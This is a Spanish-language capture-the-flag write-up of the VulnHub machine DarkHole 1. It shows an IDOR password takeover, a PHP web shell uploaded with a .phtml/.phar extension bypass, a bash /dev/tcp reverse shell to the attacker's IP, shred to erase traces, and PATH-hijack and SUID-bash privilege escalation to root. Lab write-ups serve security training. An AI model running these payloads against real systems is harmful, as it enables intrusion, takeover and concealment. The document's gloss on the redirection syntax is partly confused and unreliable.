WriteUp DarkHole 1 - VulnHub

Banner_Dark_Hole #VulnHub #eWPT #eJPT #Easy ***

Skills

Web Enumeration
Abusing password change panel - Password change for admin user
Abusing File Upload - Uploading malicious PHAR archive
Abusing custom SUID binary - User Pivoting
Abusing sudoers privilege - Python script manipulation (Privilege Escalation ***
Identificar maquina objetivo en la red

Escaneo conn arp-scan

┌──(isui㉿kali)-[~/Machines/Vulnhub]
└─$ sudo arp-scan -I eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:79:f2:76, IPv4: 192.168.93.132
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.93.1	00:50:56:c0:00:08	VMware, Inc.
192.168.93.2	00:50:56:fa:64:64	VMware, Inc.
192.168.93.136	00:0c:29:d5:fd:2f	VMware, Inc.
192.168.93.254	00:50:56:e1:2d:e0	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.035 seconds (125.80 hosts/sec). 4 responded

La dirección IP que se descubrió distinta a la red habitual es la: ==192.168.93.136== Se creara el directorio con el nombre de la maquina DarkHole1 dentro de ese directorio se crearan los 3 directorios más

mkdir DarkHole1
mkdir nmap content exploits
cd nmap

Reconocimiento

Primero verificar si la máquina responde a una trace ICMP:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ ping -c 1 192.168.93.136
PING 192.168.93.136 (192.168.93.136) 56(84) bytes of data.
64 bytes from 192.168.93.136: icmp_seq=1 ttl=64 time=1.27 ms

--- 192.168.93.136 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.268/1.268/1.268/0.000 ms

TTL (time-to-live, tiempo de vida) es el tiempo durante el que un registro DNS permanece almacenado en la memoria caché de un servidor en el caso de no existir nigun nodo intermediario, el TTL para equipos Linux es de 64 y para Windows de 128.

Escaneo de puertos

Escaneo con NMAP

sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -n -Pn 192.168.93.136 -oG allPorts

sudo: El comando “sudo” se utiliza para ejecutar Nmap con privilegios de superusuario, lo que puede ser necesario para escanear ciertos puertos o realizar escaneos más avanzados.
nmap: Este es el comando que ejecuta la herramienta Nmap, que se utiliza para realizar escaneos de red y determinar qué puertos están abiertos en un dispositivo remoto.
-p-: Este parámetro indica a Nmap que escanee todos los puertos disponibles en el dispositivo objetivo. El guion (“-“) es un atajo que significa “todos los puertos”.
--open: Este parámetro indica a Nmap que solo muestre los puertos que están abiertos en el dispositivo. De esta manera, se filtran los puertos cerrados y solo se muestran los activos.
-sSCV: Estos son varios parámetros combinados:
- -sS: Indica un escaneo TCP SYN, que es uno de los tipos de escaneo más comunes y discretos. Nmap enviará paquetes SYN al dispositivo objetivo.
- -C: Habilita la secuencia de comandos de detección de versión, lo que permite a Nmap intentar identificar el servicio y la versión en ejecución en los puertos abiertos.
- -V: Aumenta la verbosidad del escaneo para obtener información detallada sobre los resultados.
--min-rate 5000: Este parámetro establece la velocidad mínima de envío de paquetes durante el escaneo. En este caso, se ha configurado para enviar al menos 5000 paquetes por segundo. Esto puede acelerar el escaneo, pero ten en cuenta que puede aumentar la posibilidad de ser detectado por sistemas de seguridad.
-vvv: Este parámetro aumenta la verbosidad del escaneo, lo que significa que Nmap proporcionará una cantidad significativamente mayor de información detallada durante el escaneo.
-n: Este parámetro indica a Nmap que no realice la resolución de nombres DNS durante el escaneo. Esto puede acelerar el proceso al evitar la búsqueda de nombres de dominio para las direcciones IP encontradas.
-Pn: Este parámetro indica a Nmap que no realice la detección de hosts en la red. En otras palabras, no verificará si los dispositivos objetivo están vivos antes de escanearlos.
192.168.93.136: Esta es la dirección IP del dispositivo que se escaneará.
-oG allPorts: Este parámetro indica a Nmap que genere la salida en un formato Greppable (Grepable) y la guarde en un archivo llamado “allPorts”. El formato Greppable es útil para analizar los resultados del escaneo con herramientas como Grep.

El escaneo se verea así:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.93.136 -oG allPorts 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-20 03:02 CST
Initiating ARP Ping Scan at 03:02
Scanning 192.168.93.136 [1 port]
Completed ARP Ping Scan at 03:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 03:02
Scanning 192.168.93.136 [65535 ports]
Discovered open port 22/tcp on 192.168.93.136
Discovered open port 80/tcp on 192.168.93.136
Completed SYN Stealth Scan at 03:02, 3.07s elapsed (65535 total ports)
Nmap scan report for 192.168.93.136
Host is up, received arp-response (0.00028s latency).
Scanned at 2023-10-20 03:02:32 CST for 3s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:D5:FD:2F (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.34 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Para visualizar el archivo que genero el escano solo es con el comando cat, pero en mi caso uso batcat de la siguiente manera, cabe resaltar que este comando no tiene ningun cambio significativo en el análisis, solo es cuestión estética:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ batcat allPorts -l Java
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: allPorts
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94 scan initiated Fri Oct 20 02:26:54 2023 as: nmap -p- --open -sSCV --min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.93
       │ .136
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 192.168.93.136 () Status: Up
   4   │ Host: 192.168.93.136 () Ports: 22/open/tcp//ssh//OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http
       │ //Apache httpd 2.4.41 ((Ubuntu))/  Ignored State: closed (65533)
   5   │ # Nmap done at Fri Oct 20 02:27:05 2023 -- 1 IP address (1 host up) scanned in 10.82 seconds
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

imagen

El escaneo nos ha devuelto el archivo allPorts del cual se debe de extraer lo puertos mediante la herramienta Grep:

grep -oP '\d+/open/tcp/\S+' allPorts | cut -d '/' -f 1 | tr '\n' ',' | xclip -selection clipboard

Explicación del comando anterios con GREP:

grep -oP '\\d+/open/tcp/\\S+' allPorts:
- grep es una herramienta que se utiliza para buscar patrones en texto.
- o le dice a grep que solo muestre las partes del texto que coinciden con el patrón en lugar de mostrar toda la línea.
- P habilita el uso de expresiones regulares Perl, que nos permite definir patrones más complejos.
- '\\d+/open/tcp/\\S+' es el patrón que estamos buscando. Aquí está desglosado:
  - \\d+ coincide con uno o más dígitos (que representan el número de puerto).
  - /open/tcp/ coincide con “/open/tcp/” literalmente en el texto.
  - \\S+ coincide con uno o más caracteres no espaciados (que representan la descripción del servicio, como “ssh” o “http”).
Entonces, este comando busca y muestra las partes del texto en el archivo “allPorts” que coinciden con el patrón que representa los puertos abiertos.
cut -d '/' -f 1:
- cut es una herramienta que se utiliza para dividir líneas de texto en campos y seleccionar campos específicos.
- d '/' especifica que el delimitador entre campos es el carácter ‘/’.
- f 1 indica que queremos seleccionar el primer campo después de dividir la línea con ‘/’.
En este paso, estamos tomando la salida del comando grep (que contiene líneas con números de puerto y descripciones de servicios) y usando cut para seleccionar solo el primer campo, que es el número de puerto. Esto nos da una lista de puertos abiertos.

La ejecución se vería así:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ grep -oP '\d+/open/tcp/\S+' allPorts | cut -d '/' -f 1 | tr '\n' ',' | xclip -selection clipboard

Escaneo exhaustivo

El escaneo exhaustivo nos permite ver información más relevante como tipo de versiones, y algunas vulnerabilidades como pruebas de concepto.

sudo nmap -sCV -p22,80 192.168.93.136 -oN targeted

sudo: El comando “sudo” se utiliza para ejecutar Nmap con privilegios de superusuario, lo que puede ser necesario para escanear ciertos puertos o realizar escaneos más avanzados. Si ya tienes los permisos adecuados, puedes omitir este prefijo.
nmap: Este es el comando que ejecuta la herramienta Nmap, que se utiliza para realizar escaneos de red y determinar qué puertos están abiertos en un dispositivo remoto.
-sCV: Estos son varios parámetros combinados:
- -sC: Indica un escaneo con secuencia de comandos, lo que permite a Nmap ejecutar secuencias de comandos de detección de servicios para identificar servicios y versiones en ejecución en los puertos.
- -V: Aumenta la verbosidad del escaneo para obtener información detallada sobre los resultados.
-p22,80: Este parámetro especifica los puertos que se deben escanear. En este caso, se están escaneando los puertos 22 (SSH) y 80 (HTTP). Los puertos se separan por comas y no se utiliza el guion (“-“) para escanear un rango de puertos.
192.168.93.136: Esta es la dirección IP del dispositivo que se escaneará.
-oN targeted: Este parámetro indica a Nmap que guarde los resultados del escaneo en un archivo de salida con el nombre “targeted” en formato normal (Nmap). El archivo contendrá los detalles del escaneo, los puertos encontrados y cualquier otra información relevante.

El escaneo se vera de la siguiente manera:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ sudo nmap -sCV -p22,80 192.168.93.136 -oN targeted                                               
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-20 03:17 CST
Nmap scan report for 192.168.93.136
Host is up (0.0014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
|   256 73:0c:76:86:60:63:06:00:21:c2:36:20:3b:99:c1:f7 (ECDSA)
|_  256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 00:0C:29:D5:FD:2F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.31 seconds

Como parte del reconocimiento es ideal buscar a que nos estamos enfrentando: mediante la ayuda de launchpad: OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 en cualquier buscador. ![[Pasted image 20231020032413.png]]

A continuación realizamos reconocimiento de la WEB, con la herramienta whatweb:

┌──(isui㉿kali)-[~/Machines/Vulnhub/DarkHole1/nmap]
└─$ whatweb http://192.168.93.136
http://192.168.93.136 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.93.136], Title[DarkHole]

Al ingresar en la web, veremos un panel de autenticación:

imagen

El cual no es vulnerable a SQLInyection, pero si nos podemos registrar, y acceder al panel de usuario, del cual podemos ver que tiene acceso a las direcciones.

imagen Lo que continua es intentar enumerar desde la URL de la Web, y ver si hay alguna vulnerabilidad:

http://192.168.93.136/dashboard.php?id=1

Con la herramienta Burb Suite vamos a ver la peticiones que se están enviando y trabajando por detrás de la Web:

 sudo burpsuite &> /dev/null & disown

Al interceptar la petición del cambio de contraseña, se puede ver que el ID el request es vulnerable: imagen Ahora toca intentar si el ID=1 existe y es el usuario Administrador:

imagen

El intento de cambiar la petición POST por medio del Proxy funciono, y tenemos acceso al panel de control del Administrador. Como podemos observar tiene un apartado para subir archivos, entonces nos puede dar una idea de que podemos encontrar quizá un directorio que se llame subidos/uploads etc.

imagen

Es posible subir archivos al la máquina objetivo: imagen

A continuación vamos a escribir un archivo PHP para entablar una revershell para tener acceso desde nuestro equipo al objetivo, el script es el siguiente:

<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

El código PHP es un ejemplo de cómo ejecutar comandos en el sistema operativo a través de una solicitud GET y mostrar la salida en un formato HTML.

<?php y ?>: Estos son los delimitadores que indican el inicio y el final de un bloque de código PHP. Todo el código PHP debe estar contenido dentro de estos delimitadores.
echo: La función echo en PHP se utiliza para imprimir texto en la página web. En este caso, se utilizará para mostrar la salida del comando ejecutado en la página web.
"<pre>" . shell_exec($_GET['cmd']) . "</pre>": Esta línea de código se compone de tres partes:
- "<pre>" y "</pre>" son etiquetas HTML <pre>, que se utilizan para preservar el formato y la estructura del texto.
- shell_exec($_GET['cmd']) es la parte crítica del código. Utiliza la función shell_exec() para ejecutar el comando especificado en el parámetro GET llamado ‘cmd’. Lo que sea que el usuario ingrese en la URL después de ?cmd=, se ejecutará como un comando en el sistema operativo. El código toma la salida del comando ejecutado y la envuelve en las etiquetas <pre>, lo que ayuda a mantener el formato del texto y hace que la salida sea más legible en la página web.

Al intentar subir el archivo PHP, el objetivo nos muestra un mensaje que no es posible, solo acepta extensiones de tipo: .jpg, .png, .gif pero debemos recordar que anteriormente subimos un archivo con extensión .txt, lo que nos hace intuir que podemos quizá probar con otro tipo de extenciones.

Ataque con Burb Suite

Mediante la herramienta Burb Suite, debemos prepararemos un ataque de tipo Sniper, lo primero es interceptar la petición al momento de subir el archivo PHP: imagen Una vez interceptada la petición, ahora con el comando: ctrl + i se seleccionara para importar al Intruder: Pulsamos clic en el boton del Intruder: imagen

Seleccionamos la cadena php y pulsamos add imagen Ahora pulsamos clic en el botón Payloads, y crearemos una lista simple para crear multiples extensiones que sean interpretadas como código PHP. El objetivo es buscar otro tipo de extenciones que sean interpretadas por el interprete de PHP como código PHP:

.php la más común para archivos PHP, los archivos con está extensión se procesan en el servidor web antes de ser enviados al cliente, y eso es lo que mayormente nos interesa.
.phtml La extensión .pthml se utiliza a veces para archivos que contienen código PHP y HTML mezclados.
.php3, .php4, .php5, .php7 Estás extensiones históricamente se asociaron con diferentes versiones de PHP, pero en la práctica, se puede utilizar en cualquier versión de PHP.
.phps Se usa para mostrar archivos PHP que contienen código fuente y no se ejecutan,
.inc Aunque no es una extensión oficial PHP, a menudo se usa para archivos de inclusión (por ejemplo config.inc) que contiene código PHP y se incluyen en otros scripts para reutilizar funciones y variables.
.phar Se utiliza para archivos PHP Archives que son archivos empaquetados que contienen código PHP y otros recursos. Lo más común es para empaquetar archivos aplicaciones PHP y bibliotecas.
.tpl Se usa en algunos sistemas de plantillas PHP, como Smarty para identificar archivos archivos de plantillas que contiene código PHP incrustado.
.ctp Se utiliza en el framework CakePHP para archivos de vista. Los archivos .ctp contiene código PHP y HTML utilizados para generar la interfaz de usuario.
.phpunit En el contexto de pruebas unitarias con PHPUnit, los archivos con esta extensión contienen código PHP que define y ejecuta pruebas unitarias.

Para continuar con nuestro ataque debemos seleccionar settings y luego bajar a la opción Grep - Extract: imagen Pulsamos en Add: imagen

Buscamos en la opción de Fetch responde la cadena que nos devuelve el servidor cuando intentamos subir un archivo que considera que no es valido: imagen Y pulsamos el botón de: Start attack y el atque deberia de verse de la siguiente manera: imagen

Una vez analizados los archivos, podemos observar que los archivos con extensión: .phtml, .phar son los archivos que puede interpretar el servidor: imagen

Implementar Rever Shell

Para implementar una revershell ahora debemos de ejecutar el siguinte comando, lo que nos va a permitir entablar una sesión remota desde nuestra maquina. Antes de ello, primero debemos estar en escucha en nuestra máquina por el puerto que seleccionamos:

nc -nlvp 443

Y ejecutamos el siguiente comando desde el navegador:

cmd= bash -c "bash -i >%26 /dev/tcp/192.168.93.132/443 O>%261"

cmd=: Esto parece ser una variable o un identificador para el comando que se va a ejecutar. Es probable que esta variable se use más adelante en el script o en el contexto en el que se encuentra.
bash -c "...": Aquí se está invocando el shell Bash para ejecutar un comando. El flag -c se utiliza para indicar que se proporcionará un comando como argumento. Lo que sigue a continuación entre las comillas dobles es el comando que se ejecutará.
"bash -i >%26 /dev/tcp/192.168.93.132/443 O>%261": Esto es el comando real que se ejecutará dentro de Bash. Aquí está desglosado:
- bash -i: Esto inicia una sesión interactiva de Bash, lo que significa que el shell espera la entrada del usuario y proporciona una interfaz de línea de comandos interactiva.
- >%26: Esto redirige la salida estándar (stdout) a un descriptor de archivo específico. El >%26 probablemente se utilice para redirigir la salida estándar a un archivo o dispositivo específico.
- /dev/tcp/192.168.93.132/443: Esta parte establece una conexión TCP con la dirección IP 192.168.93.132 en el puerto 443. En otras palabras, este comando intenta conectarse a un servidor en la dirección IP especificada y al puerto 443.
- O>%261: Esta parte también parece estar relacionada con la redirección de la salida, pero la sintaxis utilizada es inusual y no estándar. El uso de O>%261 podría ser un error tipográfico o una sintaxis incorrecta, ya que no es una forma válida de redirigir la salida en Bash.

imagen

Como se observa a continuación, tenemos ya la consola remota entablada, pero no es del todo cómoda para trabajar es por ello que debemos de realizar un tratamiento de la TTY:

www-data@darkhole:/var/www/html/upload$ hostname -I
hostname -I
192.168.93.136 
www-data@darkhole:/var/www/html/upload$ whoami
whoami
www-data
www-data@darkhole:/var/www/html/upload$ 

Tratamiento de la TTY

Para realizar el tratamiento de la TTY, ingresar el siguiente comando;

script /dev/null -c bash

Pulsar la combinación: ctrl + z Escribir el comando:

stty raw -echo; fg

Pulsar Enter Escribir:

reset xterm

Para terminar el tratamiento de nuestra consola debemos colocar el siguiente comando:

export TERM=xterm

Si nos encontramos en una terminal de pantalla completa lo ideal es ajustar el total de las columnas y filas al de nuestra terminal, de otra terminal normal escribir el comando:

┌──(isui㉿kali)-[~]
└─$ echo $(tput lines) "filas"
echo $(tput cols) "columnas"

24 filas
80 columnas

Para ajustarlo en nuestra terminal remota el comando seria el siguiente, pero hay que recordar que solo es si ocupamos un terminal de pantalla completa:

stty rows 30 columns 100

Borrar Pistas

Para borrar los archivos que ocupamos para el ataque y entablar la revershell, dedemos eliminar, el comando que ocuparemos sera el siguiente:

shred -zun 5 -v cmd*

shred: Este es el comando base que se utiliza para sobrescribir y eliminar archivos de forma segura.
-z: Esta opción indica a shred que sobrescriba el archivo con ceros después de completar el número especificado de iteraciones (en este caso, 5). Esto se hace para ocultar el contenido original del archivo.
-u: Con esta opción, shred eliminará el archivo después de sobrescribirlo de manera segura. Esto es equivalente a eliminar un archivo de manera segura.
-n 5: Esta opción especifica el número de iteraciones de sobrescritura. En este caso, se están realizando 5 iteraciones para aumentar la seguridad de la eliminación del archivo. Cuantas más iteraciones, más difícil será la recuperación del archivo original.
-v: La opción -v se utiliza para activar el modo “verbose” (detallado), lo que significa que shred mostrará información sobre el progreso del proceso.
cmd*: es un patrón que hace referencia a varios archivos que comienzan con “cmd”. Esto significa que shred intentará sobrescribir y eliminar todos los archivos que coincidan con este patrón.

Diferencia con rm: El comando rm se utiliza para eliminar archivos, pero normalmente solo marca el espacio ocupado por el archivo como disponible en el sistema de archivos. Esto significa que, en algunos casos, los datos del archivo aún pueden ser recuperados con herramientas de recuperación de datos si no se sobrescriben inmediatamente. Por otro lado, shred se utiliza para sobrescribir los datos del archivo antes de eliminarlo, lo que hace que sea extremadamente difícil o imposible recuperar los datos originales.

shred se utiliza para una eliminación segura de archivos cuando se necesita asegurar que los datos no puedan ser recuperados. Por otro lado, rm se utiliza para eliminar archivos de forma estándar sin sobrescribir los datos, y es más rápido y conveniente para eliminar archivos no confidenciales.

Reconocimiento del equipo

Cambiamos de directorios al directorio home el cual tiene dos directorios:

www-data@darkhole:/home$ ls
darkhole  john
www-data@darkhole:/home$

El directorio darkhole no contiene nada relevante, solo un archivo bash_history que es inusual que se encuentre ahí, pero no tenemos permisos de lectura de ese archivo, el directorio john si tiene más archivos que podemos observar:

www-data@darkhole:/home$ cd john/
www-data@darkhole:/home/john$ ls -l
total 32
-rwxrwx--- 1 john john     1 Jul 17  2021 file.py
-rwxrwx--- 1 john john     8 Jul 17  2021 password
-rwsr-xr-x 1 root root 16784 Jul 17  2021 toto
-rw-rw---- 1 john john    24 Jul 17  2021 user.txt
www-data@darkhole:/home/john$ 

Podemos observar un archivo binario compilado, que tiene permisos de administrador:

www-data@darkhole:/home/john$ file toto 
toto: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f55e5cb083b2207ed23fc83f2dbf1cba931c868, for GNU/Linux 3.2.0, not stripped
www-data@darkhole:/home/john$ 

Escalada de privilegios a nivel usuario

Podemos observar que el binario toto se puede ejecutar:

www-data@darkhole:/home/john$ ./toto 
uid=1001(john) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/home/john$ 

El cual tiene un uid del que podremos abusar para realizar una escalada de privilegios:

Nota : si a nivel de desarrollo de binario compilado, no se ha implementado una ruta absoluta y más bien es relativa, podemos abusar de ello, y secuestrarla.

www-data@darkhole:/home/john$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
www-data@darkhole:/home/john$ 

Ahora iremos al directorio tmp crear un archivo id darle permisos de ejecución y escribir el Payload:

cd /tmp
toch id
chmod +x id
nano id

el Payload es muy simple, solo hay que escribir en el archivo id: bash -p Ahora vamos a alterar la ruta $PATH, para que se ejecute primero el archivo id que hemos creado nosotros:

www-data@darkhole:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
www-data@darkhole:/tmp$ export PATH=/tmp:$PATH 
www-data@darkhole:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
www-data@darkhole:/tmp$ 

De esa manera hemos inyectado el directorio /tmp antes que el resto de directorios de $PATH, ahora ejecutamos el archivo, y si es correcto deberiamos ser el usuario John

john@darkhole:/tmp$ whoami
john
john@darkhole:/tmp$ 

Ahora recuperamos nuestro PATH original. Tenemos la primer flag:

john@darkhole:/home/john$ cat user.txt 
DarkHole{You_Can_DO_It}
john@darkhole:/home/john$ cat password 
root123
john@darkhole:/home/john$ 

Escalada de privilegios a nivel administrador

Podemos observar que podemos ejecutar como administrador el archivo `file.py lo abrimos con nano:

nano file.py

El script para el archivo de Python será el siguiente:

import os

os.system("chmod u+s /bin/bash")

imagen

Para ejecutar el archivo es el siguiente comando:

john@darkhole:/home/john$ sudo /usr/bin/python3 /home/john/file.py 
john@darkhole:/home/john$ 

Ahora tienen sentido que el suid sea el de root

john@darkhole:/home/john$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
john@darkhole:/home/john$ 

y ejecutamos el comando:

bash -p

Y listo:

bash-5.0# whoami
root
bash-5.0# hostname -I
192.168.93.136 
bash-5.0# 

Y por último podemos ver la flag final:

bash-5.0# cd /root/
bash-5.0# ls
root.txt  snap
bash-5.0# cat root.txt 
DarkHole{You_Are_Legend}
bash-5.0# 

Skills

Identificar maquina objetivo en la red

Reconocimiento

Escaneo de puertos

Escaneo exhaustivo

Ataque con Burb Suite

Implementar Rever Shell

Tratamiento de la TTY

Borrar Pistas

Reconocimiento del equipo

Escalada de privilegios a nivel usuario

Escalada de privilegios a nivel administrador